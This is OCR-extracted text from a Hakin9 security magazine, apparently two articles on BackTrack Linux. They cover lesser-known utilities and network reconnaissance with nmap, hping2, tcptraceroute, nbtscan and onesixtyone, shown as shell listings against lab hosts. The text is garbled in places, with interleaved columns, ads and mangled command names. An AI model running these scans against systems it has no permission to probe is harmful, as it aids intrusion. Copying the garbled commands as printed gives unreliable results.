root@bt:~#
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to investigate sockets. You might be familiar with
netstat, which is an amazing command line util-
ity that can quickly provide you details of socket
connections from fully established to somewhere
else in the process of being established, includ-
ing timed out. If you are not familiar with netstat,
check out its capabilities by typing “man netstat”
from a terminal window in Backtrack or dive right
in by typing netstat -rn to display the route table
in Linux, and netstat -antpu t0 display all TCP/
UDP connections in numeric form. The ss com-
mand expands on netstat by providing even more
details such as information about each sock-
et connections memory usage when using the -—n
switch. The example we provide below is going to
provide simple output of active TCP sockets and
their memory usage (Listing 3).

In the above output we can see that there appear
to be four established connections which include
three SSH sessions and a single HTTP session.
The connections are made from two different hosts
to the Backtrack Linux server where the ss com-
mand was run, which is located at 192.168.1.78.
While there isn’t much memory information be-
cause the connections are sitting idle, the point
is the socket memory information is available and
comes in handy when troubleshooting connections
between servers, or when attempting to fingerprint

services on a specific server. The ss command is
an extremely powerful socket investigation util-
ity like each of the other tools being mentioned in
this article could fill the entire length of this text.
Take the time to investigate each of the commands
available in the /svin directory on Backtrack Linux
and you will surely find some hidden gems!

Are you starting to see a pattern here? There are
amazing applications, commands, scripts, bina-
ries, etc. hidden all over Backtrack and all it takes
is digging in to raise your game to the next level.
Next, we are moving on to the /usr/bin directory
where | wanted to touch on some zip file utilities
that never get mentioned as well as a couple other
random tools.

:/usr/bin - Non-essential command binaries

:Examples - curl, gcc, scp
The /usr/bin directory is the location of thou-
sands of different commands within Backtrack
and there will not be a shortage of commands
you have never seen before. Ever heard of mech-
dump? Me neither until | started writing this arti-
cle. This is one of the reasons that | love Back-
track as it’s the gift that keeps on giving and not
in the way we are used to when that phrase is
used as this gift doesn't itch. The mech-dump

root@bt:~# zipinfo three-text-files.zip
file ‘README.TXT’, size 1556 (811)
4d 8f d3 48 10 bd 47 ca 7f 28 :
file ‘Readme3l.txt’, size 1306 (681)
4d 6f db 30 Oc bd 07 c8 7f 0
found file ‘Release Notes.txt’,
8d 52 cb 6e db 40 Oc bc 0b d0 3f £f0
root@bt:~/cloak#

root@bt:~/cloak# zipcloak three-text-files.zip

found
95 54
found
95 54

size 872 (455)

Enter password:

Verify password:

encrypting: README.TXT

encrypting: Readme3l.txt

encrypting: Release Notes.txt
root@bt:~/cloak#

root@bt:~/cloak# zipinfo three-text-files.zip

root@bt:~/cloak#

Listing 4. Query zip file contents for details, encrypt files inside of a zip file, and query the encrypted files

71 81 91 12 93 99 65 b5 28 da 45 ac
: 2d 2d 90 b8 49 b7 61 45 b0 61 1f 5d

: d8 16 bl 62 39 45 81 e6 66 b8 49 6a

: d6 4e 0f a5 d5 88 5b 96 b6 9%9a ab5 1b

5b 63 b4 da 78 c4 T7a 9e 42 5d 35 3e

found file ‘README.TXT’, size 1556 (823), encrypted

c0 Oc 8c 45 ca c6 f6 73 17 d9 e0 73

found file ‘Readme3l.txt’, size 1306 (693), encrypted

c2 ac 51 63 a7 7d df 9d Oc 28 b4 31 :

found file ‘Release Notes.txt’, size 872 (467), encrypted
15 b4 7c 27 56 16 87 2d a8 c7 02 b3 :

5a 4f c0 7d c0 5d £3 Oc 76 42 cb e2
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command provides a quick way to analyze a
website by dumping for four sections of data that
include the headers, a list of forms, a list of links,
and a list of images on the page. The headers in-
formation, as you know, can provide you a ton of
great information about target web servers. The
example commands we are going to take a quick
look at in the /usr/pin directory include zipinfo
and zipcloak. Both of these commands you have
probably guessed correctly already, deal with zip
files by zipinfo providing information about spe-
cific zip files on a server and zipcloak by provid-

ing a simple method to encrypt each file withina —
zip file. Let’s take a look at zipinfo and zipcloak

in action by first querying a zip file using zipinfo,
encrypt the text files in the zip file using zipcloak, —
and then querying the file again with zipinfo to

see what the difference is. The zip file we are us- :

ing in this example is named three-text-files.zip Security develof
and again you guessed correctly — it contains
three text files (Listing 4).

So you might ask whats the big deal knowing if
a zip file is encrypted or what files exist within a
zip archive? Ever get a zip file from a shady co-
worker who may want to send your world crash-
ing down, or from that neighbor down the street
that asked you why the sound wasn’t working on
their computer, only for you to spend Sunday af-
ternoon helping them troubleshoot with an end re-
sult of you clicking the unmute button? Well, zip-
info provides you a method to never miss one of
those fancy chain letters again (I hear you have a
relative in Zimbabwe who wants to send you USD

$4.5 million once you send them $5,000) by first Join our

verifying its not bundled with the latest malware. Exclusive and Pro club
Now zipcloak is slick regardless because you can

encrypt the files on Backtrack and send to other and get:

Linux users to decrypt, as well as Windows users rareakin9 one year subscription
who can decrypt using pretty much anything as

well. | tested decrypting zip files on Windows that Heuns Fyl| page advertisement in

were encrypted with zipcloak on Backtrack using Hakin9 every month!
Windows Explorer, Winrar, and 7zip without any 4
issues at all. =cs[nformation about your company
send to over 100,000
Listing 5. Determine if you are on a Desktop or a Laptop Hukin9 reuders[
using laptop-detect located in /usr/sbin on Backtrack .
Linux

root@bt:~# laptop-detect -v

We're not on a laptop (no relevant hint found)
root@bt:~#

root@bt:~# laptop-detect -v

We’re a laptop (dmidecode returned Portable) More informution ut

9 en@hakin9.org




None of the commands in this article are mind
blowing but again, the point is to continue to beat
this into everyone’s mind that Backtrack is so
much more than the couple hundred tools in the
menu system. | mean Linux is so much more in
general as it provides you the freedom to accom-
plish whatever it is you want to accomplish. Take
the time to look around all of the Backtrack direc-
tories mentioned in this article and familiarize with
tools that you have never thought about using be-
cause you didn’t know they existed, and it will take
your “Linux Fu” to the next level. Let's move on to
the /usr/sbin directory as we still have numerous
directories to get through, and | could likely babble
about a single directory or a single command for
longer than anyone would care to pay attention.

:/usr/sbin - Non-essential system binaries

:Examples - arp, cron, snort

The /usr/sbin directory is minimal when compared
to /usr/bin On Backtrack Linux. Don't let that fool
you as this is just as important as the other di-
rectories being mentioned in this article. One in-
teresting tool in /usr/sbin is ntfsclone which pro-
vides a method to generate an image file of a NT-
FS mount. While performing penetration testing, it
is common to run across NTFS (New Technology
File System) shares that have minimal or no se-
curity at all thus providing you a method to mount
that share without issue. As part of your deliver-

able to the client you could say here is a thumb
drive with an image file of XyZ servers NTFS
share. That is the type of data that proves suc-
cess to clients. | mean things can be explained to
clients or screenshots taken and provided to cli-
ents, but nothing says you are owned quite like
handing them a thumb drive with a single im-
age file that contains all of their proprietary da-
ta. Another tool in /usr/sbin that | ran across for
the first time while writing this article is laptop-de-
tect, which is pretty interesting. All laptop-detect
does is attempt to determine if you are on a lap-
top or not. Say you have a goal of compromis-
ing a C level executive’s personal laptop then you
might get closer to your goal faster by using lap-
top-detect. Below we show example output of lap-
top-detect run from a desktop and then laptop-de-
tect run from a laptop. In the scenario below lap-
top-detect was on the money (Listing 5).

The amount of random scripts and goodies that
are hidden all over Backtrack Linux never ceases
to amaze me. While laptop-detect isn’t anything to
write home about in terms of complexity, it is pretty
awesome that it even exists. Imagine if you were
familiar with every tool located in Backtrack Linux?
You might own the world by now!

Another really great tool in /usr/sbin is a fire-
wall management tool called ufw. If you need to
lock down Linux in less than 60 seconds then
ufw will provide you what you need. By the way,
these 60 seconds includes typing “man ufw” and

root@bt:~# amap localhost 53
amap v5.4
Protocol on 127.0.0.1:53/tcp matches http

Unidentified ports: none.
amap v5.4 finished at 2013-01-29 21:48:37
root@bt:~#

Unidentified ports: none.
amap v5.4 finished at 2013-01-29 22:02:21
root@bt: ~#

Listing 6. Application mapper amap issued from the Backtrack CLI

(www.thc.org/thc-amap) started at 2013-01-29 21:48:31 - APPLICATION MAPPING mode

Protocol on 127.0.0.1:53/tcp matches http-apache-2

root@bt:~# amap 192.168.1.119 22 25 135 139 445 1025 3389
(www.thc.org/thc-amap) started at 2013-01-29 22:02:02 - APPLICATION MAPPING mode

amap v5.4

Protocol on 192.168.1.119:139/tcp matches netbios-session

Protocol on 192.168.1.119:25/tcp matches smtp

Protocol on 192.168.1.119:445/tcp matches ms-ds

Protocol on 192.168.1.119:3389/tcp matches ms-remote-desktop-protocol
Protocol on 192.168.1.119:22/tcp matches ssh

Protocol on 192.168.1.119:22/tcp matches ssh-openssh

Protocol on 192.168.1.119:1025/tcp matches netbios-session

Protocol on 192.168.1.119:135/tcp matches netbios-session

- HaRIN9
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finding the examples you need to make packets
disappear. With any firewall or firewall manage-
ment tool you should be extremely careful when
configuring things, because it's pretty easy to
mess things up and end up locking yourself out.
At that point, you will have such a secure server
you won'’t even be able to access your own data.
So when | say sixty seconds | mean it, however
the point is the fact that ufw is an amazing tool
you don’t hear enough about. Then take iptables,
which is considered 1337 (elite) and cool, yet if
you were new to Linux it would require three bot-
tles of aspirin just to read the man page. The ufw
firewall management tool would allow someone
newer to firewalls, Linux, and technology a pretty
solid solution with minimal ramp up time. Check
it out and then thank the Backtrack devs later for
putting together an absolutely amazing collection
of tools.

In the end exploring Backtrack Linux directo-
ries has to beat watching reruns of Friends or that
must see football game unless of course it's the
other football and its World Cup season. | mean
think if you spent all of your time learning versus
deflating in front of the TV? You might accomplish
things initially thought impossible. Again, | say to
my friends | grew up with all the time that if | can
even figure out how to log in to a computer, then
the chances are that all of them could be writing
exploits next week.

A solid point made by exploring all of these di-
rectories, tools, commands, etc. is the fact that if
you need to accomplish something, the chances
are someone out there has needed to accomplish
that same task before and the tool likely exists. It
is always worth a quick search to verify you are
not reinventing the wheel and that rings especially
true during penetration tests. The end goal is to ac-
curately provide the client as much detail in terms
of vulnerabilities or attack vectors as possible in
what always seems too short of a time period. Do
you think the client feels they are getting what they
paid for when half of your time was spent writing
a script to accomplish something already accom-
plished by someone else? How happy would that
client be if that tool already existed and you just
spent half the allotment of your billable time rein-

Listing 7. Random packet generator randpkt generating
apcap file

root@bt:~# randpkt -t arp arp.pcap
root@bt:~#

www.hakin9.org/en
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venting the wheel? The more time you familiarize
with the Backtrack command line, the more ran-
dom gems will appear.

:/usr/local/bin - local data - binaries specific to
this host :Examples - None

A typical Linux installation likely wouldn’t have
any files in /usr/iocal/bin to begin, as this is
where command binaries specific to a specific
installation are installed. The third party applica-
tions or commands you are installing on top of
the base Linux system would typically reside in
/usr/local/bin. Backtrack Linux is a bit different
because there are so many third party tools in-
stalled by default. This is the default location for
well-known tools such as hydra, nmap, and trac-
eroute in Backtrack Linux. If you are not familiar
with nmap and you work in Information Security,
then | suggest you go purchase Gordon Fyodor
Lyon’'s NMAP Network Scanning book, which
is a steal for around $30. Read NMAP Network
Scanning not once but twice and expand your
horizons.

Again though, when you look deeper and you
start noticing tools that are not located in the Back-
track menu system or in the /pentest directory, you
start finding all sorts of goodies. Take amap for ex-
ample, which attempts to identify the applications
that are running on various ports. Sure there are
other ways to accomplish this but the more tools
you possess at your fingertips, the quicker you will
dominate the environments you roam. Check out
the example below where | first moved the Apache
web server on the localhost to port 53 to see how
amap responded, which ended up being right on
the money. Following this first example of amap, |
show a scan against a Windows 2000 Server that
has maybe a couple open ports and likely some
vulnerable services (Listing 6).

As you can see above, amap isn’t super fancy
but it provides another method to identify applica-
tions running on any port. | have seen amap get
tripped up and provide false negatives when too
many ports are investigated at once, so if you get
any port failures, attempt amap again and include
a single port that failed to make sure that you are
not getting incorrect results.

Another great tool in /usr/1ocal/bin that isn’t
always mentioned is randpkt which is a random
packet generator. Say you need to test an ap-
plication like Wireshark by seeing how it reads
specific types of malformed packets. Generate a
pcap (Packet Capture) file in seconds using rand-
pkt and open the pcap in Wireshark (Listing 7).
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Above we show a simple example of randpkt
generating a pcap file with 1000 ARP packets. The
randpkt output isn’t very exciting but the contents
of the pcap file that is output get me a little excited!

:/usr/local/sbin - local data system binaries specific

to this host :Examples - None

The /usr/iocal/sbin directory is similar to /usr/
local/bin iN the sense that this is where third party
applications you have installed will likely end up.
Instead of command binaries like /usr/iocal/bin,
the application daemons and such will be locat-
ed in /usr/local/sbin. While there are under 100
applications in /usr/iocal/sbin by default in Back-
track, there are some great tools located here that
are not detailed in the Backtrack menus. Many
tools from the aircrack-ng suite of tools are locat-
ed in /usr/local/sbin, incIuding aireplay-ng, airmon-
ng, and airodump-ng.

There are also a couple really cool snarf look-
ing applications located in /usr/iocal/sbin, in-
cluding filesnarf, urlsnarf, msgsnarf, and mail-
snarf. | have all four on my list of command line
tools | want to investigate more as they will likely
take playing around with them for a bit before
they operate properly. | find myself modifying
tools in Backtrack all the time and | encourage
others to do the same. The golden rule is before
you start modifying things, just make sure that
you have solid backups. Linux is an operating
system platform that was made to be modified,
broken, built on, etc. so don’t be shy! Just make
sure that you back things up and also make sure
you never take credit for something someone
else accomplished before you. Take your time
and be patient. Backtrack’s motyo states “when
the going gets tough, try harder!” If you are like
me the passion will burn inside you and keep
you up for days at a time. Explore every square
inch of every Operating System you can get your
hands on. Just because you love Linux products
doesn’t mean that you have to hate Microsoft
products or Apple products, because unfortu-
nately outside of the server market the lion share
of business related computers (specifically lap-
tops/desktops) run on Windows followed by OSX
followed by Linux. As far as Linux has come, it
still has a ways to go in my opinion before your
going to catch the majority of average users pop-
ping open terminals. Think of the bright side of
thin — if you love Backtrack and familiarize your-
self at a minimum with the directories listed in
this article, you will likely be in the top 1% of
computer users in the world.
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This also brings up a great point about Back-
track and the fact that we are dealing with Open
Source software, so don’t expect everything to
always simply work. All of these tools are free
and the Backtrack devs who pour the blood,
sweat, and tears into Backtrack are much of
the time doing so without pay. Please stop and
think about that for a moment. Every single one
of these tools has donated hours put into it and
putting all of these tools together has an entire
second set of hours into rounding them all up
and doing an absolutely amazing job keeping
things updated, providing support to the commu-
nity, and really putting time back into InfoSec. |
happen to be best friends with one of the Back-
track devs who goes by purehate as we grew
up in the same neighborhood in Louisville, KY,
parted ways at one point fifteen years ago or so,
and reconnected about 4 years ago only to find
out that we were both pretty deep into InfoSec.
The point there is the fact that | have witnessed
firsthand the effort that Backtrack devs put into
this operating system that we all use and | just
want to say loud and clear that when you see
these guys, they deserve a thanks for building
something that has made all of our lives easier.
Buy these guys a meal, go out of your way to let
them know that it's appreciated, or how about
not just jumping down their throats on IRC or on
the Backtrack message boards when something
is wrong. | can promise you that none of them
are getting rich off of providing us this free re-
source.

ALEX KAH
~ Alex Kah is a member of the Accuvant
LABS Enterprise Attack and Penetration
Testing Team and has consulted on tech-
nologies ranging from various VolP plat-
forms to GPU rendering farms to auto-
scaling completely virtualized environ-
ments. Alex has over 15 years of experi-
ence in Information Technology working with industries in-
cluding security, telecommunications, technology, gaming,
healthcare, and media. Working out of his small Highlands
office in Louisville, KY, USA Alex also founded Question-De-
fense.com, an online collection of technical articles and co-
founded tools.question-defense.com (with Martin Bos), an
automated online password cracking site. He holds a Bache-
lor’s degree in Information Technology and a Master’s degree
in Business Administration along with various IT certifications.
While he is not breaking things he is well trying to fix them.
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Become Quieter

with a Little Help from BT

“The quieter you become, the more you are able to hear”

-BackTrack

BackTrack Live Security Linux Distribution Overview/Tutorial

hen you are faced with a task of test-
W ing your production environment and

strengthening your defenses, your choice
of the tool is easy. Instead of concentrating on col-
lecting penetration (pen) testing tools, just head to
BackTrack website and download an image of one
of the most popular white hat penetration testing
and security auditing platforms. It's #7 on the sec-
tfools.org Top 125 Security Tools list.

BackTrack is a merger between three different live
Linux penetration testing distributions: Whoppix,
IWHAX and Auditor. The current version BackTrack
version 5 R2 (Code Name Revolution) is based on
Ubuntu Linux distribution version 10.04.3 LTS (Lu-
cid Lynx), which means good stability, hardware de-
tection and a lot of easily obtainable software. It's
available in GNOME and KDE window managers
(you can also configure FluxBox window manag-
er), and for 32-bit, 64-bit and ARM architecture. It
comes with over 300 PenTesting tools.

First Steps

You can run the distribution as a Live DVD or in-
stall it as a regular operating system on a hard disk
or USB flash drive. The Live DVD offers these dif-
ferent boot options:

+ Default text mode — boots into a customized
Linux shell. You can work on the command-
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line or boot into the desktop environment by
using the startx command.

+ Stealth mode — boots the OS with networking
disabled.

* Forensics mode — boots without automatically
mounting drives or swap space.

* noprv — boots without DRM (Direct Render-
ing Manager) drivers. DRM are Linux ker-
nel modules that enable certain applications
to use a GPU more efficiently, especially 3D
rendering. Use this option if the boot halts or
if you have screen problems.

* Debug - boots into Safe Mode. Choose this
option if you have problems getting Back-
Track to boot. For example, if you are having
screen problem and the noDRM option doesn’t
fix it, boot into Debug mode and try adding the
nomodeset parameter. It instructs the kernel to
not load video drivers and use BIOS modes
instead until X Window System is loaded. To
do that: while in the boot menu, highlight the
BackTrack Debug — Safe Mode, press Tab in
order to edit the boot option and add nomodeset
to the end of the list.

* Memtest — starts nemtest memory diagnostic utility.

» Hard Drive Boot — boots the first hard disk.

Even though BackTrack is primarily intended
to work as a live DVD, for my test environment |
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installed it as a virtual machine in VirtualBox be-
cause | like the convenience of switching between
BT and Mac OS X on the fly. It’s also useful to
configure BackTrack this way if you plan to use it
regularly or customize it. The full install requires
about 12 GB.

When you are running BT5 in the virtual machine,
you can’t use a wireless card because the virtual
machine software blocks access to the hardware
except for USB devices. To be able to use wireless
portion of the tools in the virtual machine, you can
install a USB wireless card. BackTrack site has a
list of compatible cards called Tested and Working
Cards List (Note that this list needs to be updat-
ed for BT5): http://www.backtrack-linux.org/wiki/in-
dex.php/Wireless_Drivers#Wireless _Cards.

After you log in for the first time into the desk-
top environment, double click on the Install Back-
Track icon on the desktop. This will launch the In-
stall wizard, with expected steps: set up the clock,
time zone, prepare disk space, copy files, restart
the system. After restart, change root password.
The default password is ‘toor’.

My Test Lab Environment

» BackTrack 5 R2 (Architecture: 64-bit, Desktop

Environment: KDE 4.5.3)

* Running on VirtualBox 4.1.16 on
* MacBook Pro i7 2.66 GHz / 8 GB RAM
with Mac OS X 10.6.8

* Network:

« Two 32-bit Linux CentOS 5.x boxes: a Linux
MASQ client behind a Linux MASQ serv-
er. MASQ client is running MySQL, Samba
share, and WordPress and Joomla CMSs
on Apache.

Miscellaneous

Figure 1. BackTrack 5 R2 - Tool Categories
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* One Win 7 Pro system with some open
ports.

Note: Oracle released VirtualBox 4.1.16 on May
22, 2012.

The BackTrack comes with the following tool cat-
egories (Figure 1):

* Information Gathering
* Vulnerability Assessment
» Exploitation Tools

* Privilege Escalation

* Maintaining Access

* Reverse Engineering
* RFID Tools

+ Stress Testing

* Forensics

* Reporting Tools

» Services

* Miscellaneous

You can find all the tools under BackTrack item in
the application launcher menu. Most of the tools
are command-line utilities, with menu items link-
ing the console with the relevant tool running in-
side it.

Tip!

If you are wondering whether some of the tools are
accessible via GUI menu, and if are using Back-
Track with KDE Desktop, you can quickly search
the menu for the tool you are interested in by per-
forming the following: right-click on the Application
Launcher Menu and from the pop-up menu choose
Switch to Kickoff Menu Style option. After that,
click on the Application Launcher Menu and type
the name of the tool in the Search box.

This article will not cover wireless and Bluetooth
devices audit, and using the gdb (GNU Debugger)
for analyzing crash dumps and memory cores.

Configuring Ethernet for Virtual Machine

VirtualBox’s default network configuration for a
virtual machine is NAT (Network Address Trans-
lation). This mode prevents connections from the
outside to the guest VM, in this case, BackTrack.
To enable outside connections, change the VM
networking to Bridge Mode: power off the Back-
Track virtual machine, open VirtualBox, select
the BackTrack VM, choose Settings > Network.
In the “Attached to:” drop-down box, change
the Attached to Bridged Adapter. In the “Name”
drop-down box, select a network interface that
is connected to the network you want to test.

HaHIN9 |,
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Also, enable Promiscuous Mode: expand the Ad-
vanced section, and in the Promiscuous Mode
drop-down list, change the Deny to Allow VMs.

Assigning a Static IP Address
Assign a static IP address to the interface by mod-
Ifylng the /etc/network/interfaces file. Locate the
line with your interface identifier and modify it to
reflect your settings. For example, | had to change
the line for etho entry:

from:

auto ethO
iface eth0 inet dhcp

to:

auto ethO

iface eth0 inet static
address 192.168.1.69
netmask 255.255.255.0

Listing 1. shell code |

nmap -A T4 mytesthost.info

Starting Nmap 5.61TEST4

2012-01-01 08:00 PDT
Failed to resolve given hostname/IP: T4. Note
'/mask' AND '1-4,7,100-"

If the machine only has an

http://nmap.org ) at

that you can't use
style IP ranges.
IPv6 address,
that.

Nmap scan report for mytesthost.info

add the Nmap -6 flag to scan

XX
Host is up (0.01ls latency).
992 closed ports
STATE SERVICE
filtered domain
open http

Red Hat

Not shown
PORT
53/tcp
80/tcp
2.2.3

VERSION

Apache httpd

< cut for clarity >

Listing 2. shell code Il
ping mytesthost.info

PING mytesthost.info (192.168.1.10) 56 (84
bytes of data.

~C

--- mytesthost.info ping statistics ---

21 packets transmitted, 0 received, 100%

packet loss, time 19999ms

network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.254

Note

If you are switching between wireless and Ether-
net interface on your host system (in my case Mac
OS X), don’t forget to change network settings to

Listing 3. shell code il

traceroute mytesthost.info

traceroute to mytesthost.info (192.168.1.10

30 hops max, 60 byte packets

1 myrouter.home (192.168.1.254
3.635 ms 5.230 ms

2 XX.XX.XX.XX

32.183 ms 33.188 ms

3 x * %

1.485 ms

XX XX, XX XX 19.393 ms

4 XX.XX.XX.XX [(XX.XX.XX.XX 20.656 ms
24.826 ms 24.933 ms

5 =xx.ispl.net

21.732 ms 23.226 ms

6 xx.isp2.com

23.901 ms 24.860 ms

7 xx.isp3.net

25.408 ms 40.113 ms

8 xx.isp3.net

42.317 ms 45.064 ms

9 xx.ispéd.net

45.680 ms 50.705 ms

10 xx.isp4d.net

53.645 ms 54.413 ms

XX . XX . XX . XX 21.150 ms

XX XX, XX XX 39.551 ms

XX XX, XX . XX 25.894 ms

XX XX . XX XX 41.770 ms

XX . XX . XX . XX 42.931 ms

XX XX, XX XX 51.416 ms

11 * Kk %
12 * * %
13 * kK %
14 * k%
15 * k%
16 * k%
17 * x X%
18 * x X%
19 * * K
20 * kK %
21 * k%
22 * k%
23 * k%
24 * k%
25 * x X%
26 * Kk %
27 * * %
28 * kK %
29 * k%
30 * k%

= HaARING

<)

TBO 03/2013



reflect the change: power off the BackTrack virtu-
al machine, open VirtualBox, select the BackTrack
VM, choose Settings > Network and choose ap-
propriate network interface in the “Name” drop-
down box.

| forgot to do that and was wondering why net-
work in BackTrack was in an unconfigured state

Listing 4. shell code IV

tcptraceroute mytesthost.info

Selected device eth0, address 192.168.1.69
port 34311 for outgoing packets

Tracing the path to mytesthost.info (xx.xx.xx.
xx) on TCP port 80 (www

1 192.168.1.254 5.696 ms

ms

30 hops max
1.703 ms 3.091

2 XX.XX.xX.xxX 25.971 ms 107.932 ms 12.276

ms

3 XX.XX.XX.XX 12.418 ms 13.023 ms 14.674
ms

4 xx.xx.xx.xx 19.982 ms 13.910 ms 15.947
ms

5 xx.ispl.net 11.402 ms

16.031 ms 12.582 ms

6 xx.isp2.com

XX XX . XX . XX

28.809 ms * *
31.723 ms * *

7 xx.isp3.net (XX.xXX.XX.XX

8 xx.isp3.net (xXX.XX.XX.XX 28.497 ms
25.421 ms 24.699 ms

9 xx.ispd.com (XX.XX.XX.XX 25.798 ms
26.443 ms 23.678 ms

10 xx.ispd.com (XX.XX.XX.XX 24.737 ms

24.923 ms 25.235 ms

11 xx.xx.xx.xxX 23.803 ms * 29.230 ms

12 mytesthost.info (xX.xX.xxX.XX open
25.584 ms * 35.513 ms
Listing 5. shell code V
root@bt:~# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of

data.
~C
--- 192.168.1.5 ping statistics ---
193 packets transmitted
time 193349ms

0 received, 100%

packet loss

--—— 192.168.1.5 hping statistic ---

1 packets tramitted, 1 packets received, 0%
packet loss

round-trip min/avg/max = 1.7/1.7/1.7 ms

root@bt:~#

www.hakin9.org/en
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after | restarted networking service. This is what
happened: | turned off my MacBook Pro’s AirPort
wireless and brought it to a space that has only
Ethernet connection. Next day, | continued per-
forming tests with BT. In this setup, | don’'t need a
static IP address so | commented out lines related
to static setup in the /etc/network/interfaces file
and replaced it with a dhcp line. However, | had
forgotten to change the adapter and | didn’t have
network access until | changed it from AirPort wire-
less to Ethernet.

Another method for fixing networking issues is
refreshing network settings without shutting down
BT virtual machine: choose Not Attached in Virtu-
alBox Network settings for the BackTrack VM. That
way VirtualBox reports to the BT guest that a net-
work card is present but that there is no connec-
tion. This will disrupt the connection and will en-
force a reconfiguration. Refresh network settings
or restart networking service in BackTrack Linux
and then revert VirtualBox Network settings back
to Bridged Adapter.

Information Gathering

If you thought that you’d never get complete route
information by running the traditional traceroute
command because firewalls usually block
traceroute, YOU'll be happy to know that there is a
tool that will help you in this regard. Its name is
tcptraceroute. In contrast to the traceroute, which
sends UDP or ICMP ECHO packet with a Time To
Live (TTL) of one, and incrementing it until reach-
ing the target, the tcptraceroute is sending a TCP
SYN packet to the target. Even if firewalls block
traceroute, they allow incoming TCP packets to
certain TCP ports. That's Why the tcptraceroute
can reach the target behind the firewall. It will re-
ceive a SYN/ACK packet if the port is open, and a
RST packet if the port is closed.

Port Scanning

Let’s first check if our test host has open ports. We
will use the nmap command for that. Nmap (Net-
work Mapper) is a port scanner and network ex-
ploration tool. Argument - enables OS detection,
script scanning and traceroute, while argument -4
is for faster execution (Listing 1).

This confirmed that the test host is a web server.
Now let’s try ping-ing our test host: Listing 2.

We weren’t getting any response so | stopped
ping. Its output indicates that all packets were lost
so it seems that there is a filter between the test
host and us.

If we try to obtain network route to the test host
with the traceroute, We'll see that it's not available

HaHIN9 /.



Listing 6. shell code VI

hping2 192.168.1.5

HPING 192.168.1.5 (eth0 192.168.1.5
are set, 40 headers + 0 data bytes

len=46 ip=192.168.1.5 ttl=32 id=0 sport=0
flags=R seqg=0 win=512 rtt=1.0 ms

~C

--- 192.168.1.5 hping statistic ---

1 packets tramitted, 1 packets received, 0%

NO FLAGS

packet loss
round-trip min/avg/max = 1.0/1.0/1.0 ms
~C

Listing 7. shell code VIl

root@bt:~# hping2 -S -c 2 -p 22 192.168.1.9

HPING 192.168.1.5 (eth0 192.168.1.9 S set
40 headers + 0 data bytes

len=46 ip=192.168.1.9 ttl=60 DF id=0 sport=22
flags=SA seg=0 win=5840 rtt=3.7 ms

len=46 ip=192.168.1.9 ttl=60 DF id=0 sport=22
flags=SA seg=1 win=5840 rtt=3.4 ms

-—-192.168.1.9 hping statistic ---

2 packets tramitted, 2 packets received, 0%
packet loss

round-trip min/avg/max = 3.4/3.6/3.7 ms

Listing 8. shell code Vil

hping2 --scan 1-1024 -S testhost.info

Scanning testhost.info (192.168.1.20 port
1-1024

1024 ports to scan, use -V to see all the

replies
Fom e pommm - B et S o +
|port| serv name | flags |ttl| id | win |
fom e pommm o B s St S +
22 ssh .S..A... 60 0 5840
80 www .S..A... 60 0 5840

All replies received. Done.

Not responding ports 1 tcpmux 2 nbp 3

4 echo 5 6 zip 7 echo 8 9 dis-
card 10 11 systat 12 13 daytime
14

< cut for clarity >
1016 1017 1018 1019 1020 1021
1022 1023 1024
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after the 10th route: Listing 3. However, with the
tcptraceroute: ta-daaa! We've obtained the com-
plete route information (Listing 4).

Genlist - Ping Scanner

Next phase in information gathering process is
identifying available machines in the target net-
work and finding out their operating systems.

We will use the gen1ist tool to obtain a list of
hosts responding to ping probes. To access it, go
to the menu: BackTrack > Miscellaneous > Miscel-
laneous Network > genlist. Alternatively, you can
invoke it from the command-line by typing genlist.

For my test network, gen1ist generated this list:

genlist -s 192.168.1.\*
192.168.1.64

192.168.1.65
192.168.1.67
192.168.1.69
192.168.1.254

Hping2

Hping 2 is a TCP/IP packet assembler/analyzer.
You can use it to probe firewall rules, fingerprint
OSs and perform advanced port scanning. To ac-
cess it, go to the menu: BackTrack > Information
Gathering > Network Analysis > Identify Live Hosts
> hping2 or type nping2 (followed by arguments) in
Terminal. For usage and to get a list of arguments,
type hping2 --help.

nping2 can help in discovering whether a host is
alive (powered on and online), in cases where the
ping command doesn’t work. In this example, ping
reports 100% packet loss: Listing 5.

However, nping2 reports 0% packet loss for the
same host. The target sent back the R (RST) flag:
Listing 6.

If your ping attempt to a host is blocked because
of a firewall, try changing TCP flag and the des-
tination port, e.g. to SSH (22), SMTP (25), www
(80), HTTPS (443). Options -s > set SYN flag; -c >
packet count; -p > destination port. The target sent
back SA (SYN-ACK) flag so it’s alive: Listing 7.

Here’s an example of using nping2 for open port
discovery: Listing 8. This host has two opened
ports: 22 and 80.

Nbtscan - NetBIOS Scanner

If you need to search for the NetBIOS name in-
formation, use the nbtscan command. To ac-
cess it, go to the menu: BackTrack > Information
Gathering > Network Analysis > Service Finger-
printing > nbtscan or type nbtscan in Terminal.
nbtscan discovered one NetBIOS name in the test
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Listing 9. shell code IX

nbtscan 192.168.1.1-254
Doing NBT name scan for addresses from 192.168.1.1-254

IP address NetBIOS Name Server User MAC address
192.168.1.65 MYOSTL  <server» <umknown>  12-34-56-76-9a-he
Listing 10. shell code X Listing 12. shell code Xll
nbtscan -v 192.168.1.1-254 locate onesixtyone

Doing NBT name scan for addresses from 192.168.1.1-
254 /pentest/enumeration/snmp/onesixtyone
/pentest/enumeration/snmp/onesixtyone/dict.txt

/pentest/enumeration/snmp/onesixtyone/onesix-

NetBIOS Name Table for Host 192.168.1.65: tyone
/usr/share/applications/backtrack-onesixtyone.
Incomplete packet, 209 bytes long. desktop
Name Service Type /var/lib/dpkg/info/onesixtyone.copyright
———————————————————————————————————————— /var/lib/dpkg/info/onesixtyone.list
MYHOST1 <00> UNIQUE
WORKGROUP <00> GROUP Listing 13. shell code Xl
WORKGROUP <le> GROUP
MYHOST1 <20> UNIQUE /pentest/enumeration/snmp/onesixtyone/onesix—
WORKGROUP <ld> UNIQUE tyone 192.168.10.20
Scanning 1 hosts, 2 communities
No communities file, using default
Adapter address: 12-34-56-78-9a-bc Cant open hosts file, scanning single host:

———————————————————————————————————————— 192.168.10.20

192.168.10.20 [public] HP LaserJet xxxxdn /P
Listing 11. shell code XI

Listing 14. shell code XIV

nbtscan -hv 192.168.1.1-254
Doing NBT name scan for addresses from 192.168.1.1- nmap 192.168.1.6
254
Starting Nmap 5.61TEST4 ( http://nmap.org ) at
2012-01-01 09:06 PDT
NetBIOS Name Table for Host 192.168.1.65: Nmap scan report for myhost2.home (192.168.1.6)
Host is up (0.010s latency) .

Incomplete packet, 209 bytes long. Not shown: 993 closed ports

Name Service Type PORT STATE SERVICE
